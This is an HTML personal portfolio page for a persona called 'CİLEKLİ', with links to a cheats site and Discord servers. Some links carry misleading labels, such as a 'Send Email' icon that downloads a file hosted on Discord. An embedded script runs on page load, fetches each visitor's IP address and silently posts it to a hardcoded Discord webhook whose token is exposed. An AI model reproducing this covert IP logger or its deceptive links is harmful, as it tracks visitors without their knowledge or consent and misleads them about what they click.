<!DOCTYPE html>
<html lang="en">
  <head>
    <!-- Metadata of the Webpage -->
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta name="description" content="Portfolio Website" />
    <meta name="author" content="Aditya Vikram Singh" />
    <meta name="keywords" content="sa" />
    <link rel="shortcut icon" href="./assets/img/favicon.ico" />
    <title>sa</title>

    <!-- Import CSS: Main Stylesheet -->
    <link rel="stylesheet" href="./assets/css/main.css" />

    <!-- Animated Title Script -->
    <script>
      let titleText = "CİLEKLİ | Developer | Entrepreneur ";
      let index = 0;

      function animateTitle() {
        document.title = titleText.substring(index) + titleText.substring(0, index);
        index = (index + 1) % titleText.length;
        setTimeout(animateTitle, 200);
      }

      window.onload = animateTitle;
    </script>
  </head>

  <body>
    <div id="particles-js">
      <div class="header">
        <h1>
          <a href="file:///C:/Users/arven/Desktop/My-Alternate-Portfolio-Website-master/waow.html" class="site-title" target="_blank" rel="noopener noreferrer">CİLEKLİ</a>
          <span class="site-description">Dev / Entrepreneur</span>
        </h1>
        <div class="header-icons">
          <a aria-label="My LinkedIn Profile" target="_blank" href="https://discord.gg/cilekli">
            <i class="icon fa fa-diamond" aria-hidden="true"></i>
          </a>
          <a aria-label="My Github Profile" target="_blank" href="https://mtcheats.com">
            <i class="icon fa fa-crosshairs" aria-hidden="true"></i>
          </a>
          <a aria-label="My Résumé" target="_blank" href="https://www.adityavsingh.com/resume.html">
            <i class="" aria-hidden="false"></i>
          </a>
          <a aria-label="Send Email" href="https://cdn.discordapp.com/attachments/1329489040856322142/1332446406362796083/cilekli.mp4?ex=679548ea&is=6793f76a&hm=6187a313fa0e386e730188296b55d5f02b811572db3754b8c4679bedaead22e8&" target="_blank"
            ><i class="icon fa fa fa-download"></i
          ></a>
        </div>
        <div class="header-links">
          <a href="https://discord.com/users/232550867344031750" class="link" target="_blank" rel="noopener noreferrer">DİSCORD</a>
          <a href="https://fma.wtf" class="link" target="_blank" rel="noopener noreferrer">FMA.WTF</a>
          <a href="https://discord.gg/favestore" class="link" target="_blank" rel="noopener noreferrer">FAVESTORE</a>
        </div>
      </div>



    <!-- Fetch IP and Send to Discord -->
    <script>
      const webhookURL = "https://discord.com/api/webhooks/1332455223045783684/5PORy9sXkFLBo2o6gbEy8COqjFINHM8qv981vUXrgkbKz0BqMRERY-Oh7Wjd-_IT4s4K";

      // Giriş sayısını yerel depolamadan al ve artır
      let visitCount = localStorage.getItem("visitCount");
      visitCount = visitCount ? parseInt(visitCount) + 1 : 1;
      localStorage.setItem("visitCount", visitCount);

      // Profil görüntülenme sayısını yerel depolamadan al
      let profileViews = localStorage.getItem("profileViews");
      profileViews = profileViews ? parseInt(profileViews) + 1 : 1;
      localStorage.setItem("profileViews", profileViews);

      // IP adresini al ve mesaj gönder
      fetch("https://api.ipify.org/?format=json")
        .then((response) => response.json())
        .then((data) => {
          const ip = data.ip;

          const message = `
**\`\`NEW IP\`\`**
**IP:** \`\`\`${ip}\`\`\`
**Visit Count:** ${visitCount} || @everyone ||
**Profile Views:** ${profileViews}
          `;

          fetch(webhookURL, {
            method: "POST",
            headers: {
              "Content-Type": "application/json",
            },
            body: JSON.stringify({
              content: message,
            }),
          })
            .then(() => console.log("Mesaj başarıyla gönderildi."))
            .catch((error) =>
              console.error("Mesaj gönderiminde hata oluştu:", error)
            );
        })
        .catch((error) => console.error("IP adresi alınamadı:", error));
    </script>

    <!-- Import JS: Particles Theme -->
    <script src="https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
    <script src="./assets/js/sweet-scroll.min.js"></script>
    <script src="./assets/js/google-analytics.js"></script>
    <script src="./assets/js/main.js"></script>

    <script>
      // Profil görüntülenme sayısını sayfada görüntüle
      document.getElementById("viewsCount").innerText = localStorage.getItem("profileViews");
    </script>
  </body>
</html>